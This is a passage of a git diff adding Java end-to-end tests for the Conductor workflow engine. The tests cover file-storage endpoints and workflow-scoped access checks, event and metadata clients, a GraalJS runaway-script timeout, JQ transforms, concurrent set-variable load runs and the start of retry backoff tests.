return workflow; + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/filestorage/FileStorageE2ETest.java b/e2e/src/test/java/io/conductor/e2e/filestorage/FileStorageE2ETest.java new file mode 100644 index 0000000..be32ce1 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/filestorage/FileStorageE2ETest.java @@ -0,0 +1,281 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.filestorage; + +import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Map; +import java.util.UUID; + +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.exception.ConductorClientException; +import com.netflix.conductor.client.http.ConductorClient; +import com.netflix.conductor.client.http.ConductorClientRequest; +import com.netflix.conductor.client.http.ConductorClientRequest.Method; + +import com.fasterxml.jackson.core.type.TypeReference; +import io.conductor.e2e.util.ApiUtil; + +import static org.junit.jupiter.api.Assertions.assertArrayEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * E2E tests for the file-storage REST API (server with {@code conductor.file-storage.enabled=true}, + * {@code type=local}). A bind mount shares the server's storage directory with the host so the + * {@code file:///...} URIs returned by the API resolve on both sides. + * + *

    Run via: {@code e2e/run_tests-es8.sh}. + */ +class FileStorageE2ETest { + + private static final TypeReference> MAP_TYPE = new TypeReference<>() {}; + private static final String PREFIX = "conductor://file/"; + + private static final ConductorClient client = ApiUtil.CLIENT; + + @Test + void createFileReturnsFileHandleIdAndUploadUrl() { + Map response = createFile("test.pdf", "application/pdf", 1024, "wf-1"); + + assertNotNull(response.get("fileHandleId")); + assertTrue(response.get("fileHandleId").toString().startsWith(PREFIX)); + assertEquals("test.pdf", response.get("fileName")); + assertEquals("application/pdf", response.get("contentType")); + assertEquals("UPLOADING", response.get("uploadStatus")); + assertNotNull(response.get("uploadUrl")); + assertNotNull(response.get("createdAt")); + } + + @Test + void getUploadUrlReturnsFreshUrl() { + Map created = + createFile("data.bin", "application/octet-stream", 512, "wf-1"); + String fileId = fileIdFromResponse(created); + + Map urlResponse = + client.execute( + ConductorClientRequest.builder() + .method(Method.GET) + .path("/files/" + fileId + "/upload-url") + .build(), + MAP_TYPE) + .getData(); + + assertEquals(created.get("fileHandleId"), urlResponse.get("fileHandleId")); + assertNotNull(urlResponse.get("uploadUrl")); + } + + @Test + void getFileMetadataReflectsCreate() { + Map created = createFile("doc.txt", "text/plain", 256, "wf-1"); + String fileId = fileIdFromResponse(created); + + Map handle = + client.execute( + ConductorClientRequest.builder() + .method(Method.GET) + .path("/files/" + fileId) + .build(), + MAP_TYPE) + .getData(); + + assertEquals(created.get("fileHandleId"), handle.get("fileHandleId")); + assertEquals("doc.txt", handle.get("fileName")); + assertEquals("text/plain", handle.get("contentType")); + assertEquals("UPLOADING", handle.get("uploadStatus")); + assertNotNull(handle.get("storageType")); + } + + @Test + void fileNotFoundReturns404() { + try { + client.execute( + ConductorClientRequest.builder() + .method(Method.GET) + .path("/files/nonexistent-file-id-" + UUID.randomUUID()) + .build(), + MAP_TYPE); + fail("Expected 404"); + } catch (Exception e) { + assertTrue( + e.getMessage().contains("not found"), + "Expected 404 but got: " + e.getMessage()); + } + } + + @Test + void initiateMultipartUpload() { + Map created = + createFile("large.bin", "application/octet-stream", 200L * 1024 * 1024, "wf-1"); + String fileId = fileIdFromResponse(created); + + Map response = + client.execute( + ConductorClientRequest.builder() + .method(Method.POST) + .path("/files/" + fileId + "/multipart") + .build(), + MAP_TYPE) + .getData(); + + assertEquals(created.get("fileHandleId"), response.get("fileHandleId")); + assertNotNull(response.get("uploadId")); + } + + @Test + void downloadUrlRequiresUploadedStatus() { + Map created = + createFile("pending.bin", "application/octet-stream", 100, "wf-1"); + String fileId = fileIdFromResponse(created); + + try { + client.execute( + ConductorClientRequest.builder() + .method(Method.GET) + .path("/files/wf-1/" + fileId + "/download-url") + .build(), + MAP_TYPE); + fail("Expected 400 — file not yet uploaded"); + } catch (Exception e) { + assertTrue( + e.getMessage().contains("not yet uploaded"), + "Expected 400 but got: " + e.getMessage()); + } + } + + @Test + void fullRoundTripLocalStorage() throws Exception { + byte[] payload = "the quick brown fox".getBytes(); + // Caller's own workflowId is always in its family, so creating + downloading with + // the same workflowId is allowed even when no Conductor workflow exists in the DB. + Map created = createFile("rt.txt", "text/plain", payload.length, "wf-rt"); + String fileId = fileIdFromResponse(created); + String uploadUrl = created.get("uploadUrl").toString(); + + // file:// URI → resolve on this host (shared mount with server) + Path uploadPath = Path.of(URI.create(uploadUrl)); + Files.createDirectories(uploadPath.getParent()); + Files.write(uploadPath, payload); + + Map confirm = + client.execute( + ConductorClientRequest.builder() + .method(Method.POST) + .path("/files/" + fileId + "/upload-complete") + .build(), + MAP_TYPE) + .getData(); + assertEquals("UPLOADED", confirm.get("uploadStatus")); + + Map dl = + client.execute( + ConductorClientRequest.builder() + .method(Method.GET) + .path("/files/wf-rt/" + fileId + "/download-url") + .build(), + MAP_TYPE) + .getData(); + String downloadUrl = dl.get("downloadUrl").toString(); + assertTrue(downloadUrl.startsWith("file:///"), "expected file:// URI, got: " + downloadUrl); + + byte[] read = Files.readAllBytes(Path.of(URI.create(downloadUrl))); + assertArrayEquals(payload, read); + } + + // ── workflowId scoping ──────────────────────────────────────────────────── + + @Test + void createFileWithoutWorkflowIdReturns400() { + Map body = + Map.of( + "fileName", "no-wf.pdf", + "contentType", "application/pdf", + "fileSize", 1024); + try { + client.execute( + ConductorClientRequest.builder() + .method(Method.POST) + .path("/files") + .body(body) + .build(), + MAP_TYPE); + fail("Expected 400 — workflowId missing"); + } catch (Exception e) { + assertTrue( + e.getMessage().contains("workflowId"), + "Expected workflowId error but got: " + e.getMessage()); + } + } + + @Test + void downloadWithUnrelatedWorkflowReturns403() throws Exception { + Map created = + createFile("scoped.bin", "application/octet-stream", 64, "wf-owner"); + String fileId = fileIdFromResponse(created); + String uploadUrl = created.get("uploadUrl").toString(); + + // File must be UPLOADED before the family check is reached; + // without this the server returns 400 (not yet uploaded) instead of 403. + Path uploadPath = Path.of(URI.create(uploadUrl)); + Files.createDirectories(uploadPath.getParent()); + Files.write(uploadPath, new byte[64]); + client.execute( + ConductorClientRequest.builder() + .method(Method.POST) + .path("/files/" + fileId + "/upload-complete") + .build(), + MAP_TYPE); + + try { + client.execute( + ConductorClientRequest.builder() + .method(Method.GET) + .path("/files/wf-unrelated/" + fileId + "/download-url") + .build(), + MAP_TYPE); + fail("Expected 403 — unrelated workflow"); + } catch (ConductorClientException e) { + assertEquals(403, e.getStatusCode(), "Expected 403 but got: " + e); + } + } + + private static Map createFile( + String fileName, String contentType, long fileSize, String workflowId) { + Map body = + Map.of( + "fileName", fileName, + "contentType", contentType, + "fileSize", fileSize, + "workflowId", workflowId); + return client.execute( + ConductorClientRequest.builder() + .method(Method.POST) + .path("/files") + .body(body) + .build(), + MAP_TYPE) + .getData(); + } + + private static String fileIdFromResponse(Map response) { + String fileHandleId = response.get("fileHandleId").toString(); + return fileHandleId.startsWith(PREFIX) + ? fileHandleId.substring(PREFIX.length()) + : fileHandleId; + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/metadata/EventClientTests.java b/e2e/src/test/java/io/conductor/e2e/metadata/EventClientTests.java new file mode 100644 index 0000000..2a39d96 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/metadata/EventClientTests.java @@ -0,0 +1,97 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.metadata; + +import java.util.List; + +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.EventClient; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.events.EventHandler.Action; +import com.netflix.conductor.common.metadata.events.EventHandler.StartWorkflow; + +import io.conductor.e2e.util.ApiUtil; +import io.conductor.e2e.util.Commons; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertIterableEquals; + +public class EventClientTests { + private static final String EVENT_NAME = "test_sdk_java_event_name"; + private static final String EVENT = "test_sdk_java_event"; + + private final EventClient eventClient = ApiUtil.EVENT_CLIENT; + + @Test + void testEventHandler() { + // Clean up any existing event handler (server returns 500, not 404, for non-existent) + try { + eventClient.unregisterEventHandler(EVENT_NAME); + } catch (Exception ignored) { + } + + // Create and register event handler + final EventHandler eventHandler = getEventHandler(); + try { + eventClient.registerEventHandler(eventHandler); + eventClient.updateEventHandler(eventHandler); + + // Verify registration + List events = eventClient.getEventHandlers(EVENT, false); + assertEquals(1, events.size(), "Expected exactly 1 event handler"); + + events.forEach( + event -> { + assertEquals(eventHandler.getName(), event.getName()); + assertEquals(eventHandler.getEvent(), event.getEvent()); + }); + + // Clean up + eventClient.unregisterEventHandler(EVENT_NAME); + // Verify cleanup + assertIterableEquals(List.of(), eventClient.getEventHandlers(EVENT, false)); + } catch (Exception e) { + // Clean up on failure + try { + eventClient.unregisterEventHandler(EVENT_NAME); + } catch (Exception cleanupEx) { + // Ignore cleanup errors + } + throw e; + } + } + + EventHandler getEventHandler() { + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(EVENT_NAME); + eventHandler.setEvent(EVENT); + eventHandler.setActions(List.of(getEventHandlerAction())); + // Note: tags field can be null - server handles it defensively + return eventHandler; + } + + Action getEventHandlerAction() { + Action action = new Action(); + action.setAction(Action.Type.start_workflow); + action.setStart_workflow(getStartWorkflowAction()); + return action; + } + + StartWorkflow getStartWorkflowAction() { + StartWorkflow startWorkflow = new StartWorkflow(); + startWorkflow.setName(Commons.WORKFLOW_NAME); + startWorkflow.setVersion(Commons.WORKFLOW_VERSION); + return startWorkflow; + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/metadata/MetadataClientTests.java b/e2e/src/test/java/io/conductor/e2e/metadata/MetadataClientTests.java new file mode 100644 index 0000000..93896a4 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/metadata/MetadataClientTests.java @@ -0,0 +1,62 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.metadata; + +import java.util.List; + +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import io.conductor.e2e.util.ApiUtil; +import io.conductor.e2e.util.Commons; +import io.conductor.e2e.util.WorkflowUtil; + +import static org.junit.jupiter.api.Assertions.*; + +public class MetadataClientTests { + private final MetadataClient metadataClient = ApiUtil.METADATA_CLIENT; + + @Test + void testTaskDefinition() { + try { + metadataClient.unregisterTaskDef(Commons.TASK_NAME); + } catch (Exception ignored) { + // server returns 500 (not 404) for non-existent resources + } + TaskDef taskDef = Commons.getTaskDef(); + metadataClient.registerTaskDefs(List.of(taskDef)); + metadataClient.updateTaskDef(taskDef); + TaskDef receivedTaskDef = metadataClient.getTaskDef(Commons.TASK_NAME); + assertTrue(taskDef.getName().equals(receivedTaskDef.getName())); + } + + @Test + void testWorkflow() { + try { + metadataClient.unregisterWorkflowDef(Commons.WORKFLOW_NAME, Commons.WORKFLOW_VERSION); + } catch (Exception ignored) { + // server returns 500 (not 404) for non-existent resources + } + metadataClient.registerTaskDefs(List.of(Commons.getTaskDef())); + WorkflowDef workflowDef = WorkflowUtil.getWorkflowDef(); + metadataClient.updateWorkflowDefs(List.of(workflowDef)); + metadataClient.updateWorkflowDefs(List.of(workflowDef)); + WorkflowDef receivedWorkflowDef = + metadataClient.getWorkflowDef(Commons.WORKFLOW_NAME, Commons.WORKFLOW_VERSION); + assertTrue(receivedWorkflowDef.getName().equals(Commons.WORKFLOW_NAME)); + assertEquals(receivedWorkflowDef.getVersion(), Commons.WORKFLOW_VERSION); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/processing/GraaljsTests.java b/e2e/src/test/java/io/conductor/e2e/processing/GraaljsTests.java new file mode 100644 index 0000000..bb50cea --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/processing/GraaljsTests.java @@ -0,0 +1,110 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.processing; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.After; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import io.conductor.e2e.util.RegistrationUtil; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class GraaljsTests { + static WorkflowClient workflowClient; + static TaskClient taskClient; + static MetadataClient metadataClient; + + List workflowNames = new ArrayList<>(); + List taskNames = new ArrayList<>(); + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + } + + @Test + public void testInfiniteExecution() + throws ExecutionException, InterruptedException, TimeoutException { + String workflowName = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String taskName1 = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + String taskName2 = RandomStringUtils.randomAlphanumeric(5).toUpperCase(); + // Register workflow + RegistrationUtil.registerWorkflowDef(workflowName, taskName1, taskName2, metadataClient); + System.out.println("testInfiniteExecution: " + workflowName); + WorkflowDef workflowDef = metadataClient.getWorkflowDef(workflowName, 1); + workflowDef + .getTasks() + .get(0) + .setInputParameters( + Map.of( + "evaluatorType", + "graaljs", + "expression", + "function e() { while(true){} }; e();")); + metadataClient.updateWorkflowDefs(java.util.List.of(workflowDef)); + workflowNames.add(workflowName); + taskNames.add(taskName1); + taskNames.add(taskName2); + + StartWorkflowRequest startWorkflowRequest = new StartWorkflowRequest(); + startWorkflowRequest.setName(workflowName); + startWorkflowRequest.setVersion(1); + + String workflowId = workflowClient.startWorkflow(startWorkflowRequest); + + // Wait for workflow to get failed since inline task will failed + // With the new decider change, the decider might background decision on sweeper + await().atMost(60, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(Workflow.WorkflowStatus.FAILED, workflow.getStatus()); + }); + } + + @After + public void cleanUp() { + for (String workflowName : workflowNames) { + try { + metadataClient.unregisterWorkflowDef(workflowName, 1); + } catch (Exception e) { + } + } + for (String taskName : taskNames) { + try { + metadataClient.unregisterTaskDef(taskName); + } catch (Exception e) { + } + } + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/processing/JSONJQTests.java b/e2e/src/test/java/io/conductor/e2e/processing/JSONJQTests.java new file mode 100644 index 0000000..5b185cb --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/processing/JSONJQTests.java @@ -0,0 +1,107 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.processing; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.RandomStringUtils; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import io.conductor.e2e.util.Commons; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class JSONJQTests { + @Test + public void testJQOutputIsReachableWhenSyncSystemTaskIsNext() { + + WorkflowClient workflowAdminClient = ApiUtil.WORKFLOW_CLIENT; + String workflowName = RandomStringUtils.randomAlphanumeric(10).toUpperCase(); + + var request = new StartWorkflowRequest(); + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(workflowName); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail(Commons.OWNER_EMAIL); + workflowDef.setTimeoutSeconds(60); + workflowDef.setTimeoutPolicy(WorkflowDef.TimeoutPolicy.TIME_OUT_WF); + List tasks = new ArrayList<>(); + + WorkflowTask jqTask = new WorkflowTask(); + jqTask.setName("jqTaskName"); + jqTask.setTaskReferenceName("generate_operators_ref"); + jqTask.setInputParameters(Map.of("queryExpression", "{\"as\": \"+\", \"md\": \"/\"}")); + jqTask.setType("JSON_JQ_TRANSFORM"); + + WorkflowTask setVariableTask = new WorkflowTask(); + setVariableTask.setName("setvartaskname"); + setVariableTask.setTaskReferenceName("setvartaskname_ref"); + setVariableTask.setInputParameters( + Map.of("name", "${generate_operators_ref.output.result.md}")); + setVariableTask.setType("SET_VARIABLE"); + + tasks.add(jqTask); + tasks.add(setVariableTask); + workflowDef.setTasks(tasks); + request.setName(workflowName); + request.setVersion(1); + request.setWorkflowDef(workflowDef); + + List workflowIds = new ArrayList<>(); + for (var i = 0; i < 40; ++i) { + try { + Thread.sleep(5); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + try { + workflowIds.add(workflowAdminClient.startWorkflow(request)); + } catch (Exception e) { + + } + } + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + try { + workflowIds.forEach( + id -> { + var workflow = + workflowAdminClient.getWorkflow(id, true); + assertEquals( + Workflow.WorkflowStatus.COMPLETED, + workflow.getStatus()); + assertEquals( + "/", + workflow.getTasks() + .get(1) + .getInputData() + .get("name")); + }); + } catch (Exception e) { + + } + }); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/processing/SetVariableTests.java b/e2e/src/test/java/io/conductor/e2e/processing/SetVariableTests.java new file mode 100644 index 0000000..494701c --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/processing/SetVariableTests.java @@ -0,0 +1,223 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.processing; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.*; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicInteger; + +import org.conductoross.conductor.common.model.WorkflowRun; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; + +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +@Slf4j +public class SetVariableTests { + static WorkflowClient workflowClient; + static MetadataClient metadataClient; + static TaskClient taskClient; + + private static final String WORKFLOW_NAME = "set_variable_test"; + + @BeforeAll + public static void init() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + + WorkflowTask setVariableTask = new WorkflowTask(); + setVariableTask.setTaskReferenceName("set_var_ref"); + setVariableTask.setWorkflowTaskType(TaskType.SET_VARIABLE); + setVariableTask.setInputParameters(Map.of("vars", "${workflow.input.vars}")); + setVariableTask.setName("set_variable"); + + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName(WORKFLOW_NAME); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail("test@conductor.io"); + workflowDef.getTasks().add(setVariableTask); + + metadataClient.updateWorkflowDefs(List.of(workflowDef)); + } + + @SneakyThrows + @Test + public void testAllFast() { + ExecutorService es = Executors.newFixedThreadPool(20); + Map expectedValues = new ConcurrentHashMap<>(); + List> futureRuns = new ArrayList<>(); + + final int TOTAL_TO_CREATE = 2_000; + final int LOG_EVERY_N = 250; + + // i think this is why there is 50k+ workflows in the e2e-aws cluster + for (int i = 0; i < TOTAL_TO_CREATE; i++) { + final int loopCounter = i; + var future = + CompletableFuture.supplyAsync( + () -> { + StartWorkflowRequest startWorkflowRequest = + new StartWorkflowRequest(); + startWorkflowRequest.setName(WORKFLOW_NAME); + startWorkflowRequest.setVersion(1); + String uuid = UUID.randomUUID().toString(); + startWorkflowRequest.setInput(Map.of("vars", uuid)); + try { + var cf = + workflowClient.executeWorkflow( + startWorkflowRequest, null); + var wf = cf.orTimeout(10, TimeUnit.SECONDS).join(); + expectedValues.put(wf.getWorkflowId(), uuid); + if ((loopCounter + 1) % LOG_EVERY_N == 0) { + log.info("Started {} workflows", loopCounter + 1); + } + return wf; + } catch (Exception e) { + // fail the test if this happens + throw new CompletionException(e); + } + }, + es); + futureRuns.add(future); + } + + CompletableFuture.allOf(futureRuns.toArray(new CompletableFuture[futureRuns.size()])) + .join(); + + boolean hasFailures = false; + var gotResults = 0; + for (var cf : futureRuns) { + gotResults++; + if ((gotResults + 1) % LOG_EVERY_N == 0) { + log.info("Completed {} workflows", gotResults + 1); + } + var workflowRun = cf.join(); + assertTrue(workflowRun.getStatus() == Workflow.WorkflowStatus.COMPLETED); + + String found = (String) workflowRun.getVariables().get("vars"); + var workflowId = workflowRun.getWorkflowId(); + String expected = expectedValues.get(workflowId); + if (!expected.equals(found)) { + System.out.println("Workflow " + workflowId + " has mismatched values"); + System.out.println("Expected " + expected); + System.out.println("Found: " + found); + System.out.println(); + hasFailures = true; + } + } + + assertFalse(hasFailures); + } + + // this version runs much faster than before but still uses the async start and collection. + @SneakyThrows + @Test + public void testAll() { + ExecutorService es = Executors.newFixedThreadPool(20); + List> futures = new ArrayList<>(); + Map expectedValues = new ConcurrentHashMap<>(); + + final int TOTAL_TO_CREATE = 2_000; + final int LOG_EVERY_N = 250; + + for (int i = 0; i < TOTAL_TO_CREATE; i++) { + final int loopCounter = i; + Future future = + es.submit( + () -> { + StartWorkflowRequest startWorkflowRequest = + new StartWorkflowRequest(); + startWorkflowRequest.setName(WORKFLOW_NAME); + startWorkflowRequest.setVersion(1); + String uuid = UUID.randomUUID().toString(); + startWorkflowRequest.setInput(Map.of("vars", uuid)); + String workflowId = + workflowClient.startWorkflow(startWorkflowRequest); + if ((loopCounter + 1) % LOG_EVERY_N == 0) { + log.info("Started {} workflows", loopCounter + 1); + } + expectedValues.put(workflowId, uuid); + return workflowId; + }); + futures.add(future); + } + + for (Future f : futures) { + f.get(); + } + log.info("all requests sent to server - sleep briefly before collecting results"); + + // Give 5 second to complete any pending workflows + try { + Thread.sleep(5000); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + // 2) Collect results concurrently (still using HTTP API) + AtomicBoolean hasFailures = new AtomicBoolean(false); + AtomicInteger collected = new AtomicInteger(0); + ExecutorCompletionService ecs = new ExecutorCompletionService<>(es); + + for (String workflowId : expectedValues.keySet()) { + ecs.submit( + () -> { + Workflow wf = + workflowClient.getWorkflow(workflowId, /*includeTasks*/ false); + + int c = collected.incrementAndGet(); + if (c % LOG_EVERY_N == 0) { + log.info("Collected {}", c); + } + assertTrue(wf.getStatus() == Workflow.WorkflowStatus.COMPLETED); + + // Use execution variables, not definition defaults + String found = (String) wf.getVariables().get("vars"); + String exp = expectedValues.get(workflowId); + if (!exp.equals(found)) { + System.out.println("Workflow " + workflowId + " has mismatched values"); + System.out.println("Expected " + exp); + System.out.println("Found: " + found); + System.out.println(); + hasFailures.set(true); + } + return null; + }); + } + + // 3) Wait for all collectors to finish + for (int i = 0; i < TOTAL_TO_CREATE; i++) { + ecs.take().get(); + } + + es.shutdownNow(); + } +} diff --git a/e2e/src/test/java/io/conductor/e2e/task/BackoffTests.java b/e2e/src/test/java/io/conductor/e2e/task/BackoffTests.java new file mode 100644 index 0000000..a8a2365 --- /dev/null +++ b/e2e/src/test/java/io/conductor/e2e/task/BackoffTests.java @@ -0,0 +1,235 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package io.conductor.e2e.task; + +import java.util.*; +import java.util.concurrent.TimeUnit; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.client.automator.TaskRunnerConfigurer; +import com.netflix.conductor.client.http.MetadataClient; +import com.netflix.conductor.client.http.TaskClient; +import com.netflix.conductor.client.http.WorkflowClient; +import com.netflix.conductor.client.worker.Worker; +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.sdk.workflow.def.ConductorWorkflow; +import com.netflix.conductor.sdk.workflow.def.tasks.SimpleTask; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.conductor.e2e.util.ApiUtil; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; + +import static org.awaitility.Awaitility.await; +import static org.junit.jupiter.api.Assertions.*; + +@Slf4j +public class BackoffTests { + + private static WorkflowClient workflowClient; + + private static TaskClient taskClient; + + private static MetadataClient metadataClient; + + private static ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private static final String WORKFLOW_NAME = "retry_logic_test"; + + private static TaskRunnerConfigurer configurer; + + @SneakyThrows + @BeforeAll + public static void beforeAll() { + workflowClient = ApiUtil.WORKFLOW_CLIENT; + taskClient = ApiUtil.TASK_CLIENT; + metadataClient = ApiUtil.METADATA_CLIENT; + + ConductorWorkflow workflow = new ConductorWorkflow(null); + workflow.setName(WORKFLOW_NAME); + workflow.setVersion(1); + + List taskDefs = new ArrayList<>(); + int i = 0; + for (TaskDef.RetryLogic value : TaskDef.RetryLogic.values()) { + TaskDef taskDef = new TaskDef(); + taskDef.setName("retry_" + i++); + taskDef.setOwnerEmail("test@conductor.io"); + taskDef.setRetryLogic(value); + taskDef.setBackoffScaleFactor(2); + taskDef.setRetryDelaySeconds(2); + taskDef.setRetryCount(3); + taskDefs.add(taskDef); + + workflow.add(new SimpleTask(taskDef.getName(), taskDef.getName())); + } + + metadataClient.registerTaskDefs(taskDefs); + var workflowDef = workflow.toWorkflowDef(); + workflowDef.setOwnerEmail("test@conductor.io"); + metadataClient.updateWorkflowDefs(Arrays.asList(workflowDef)); + startWorkers(taskDefs); + } + + @AfterAll + public static void cleanup() { + if (configurer != null) { + try { + configurer.shutdown(); + } catch (Exception e) { + } + } + } + + @Test + public void testRetryLogic() { + try { + 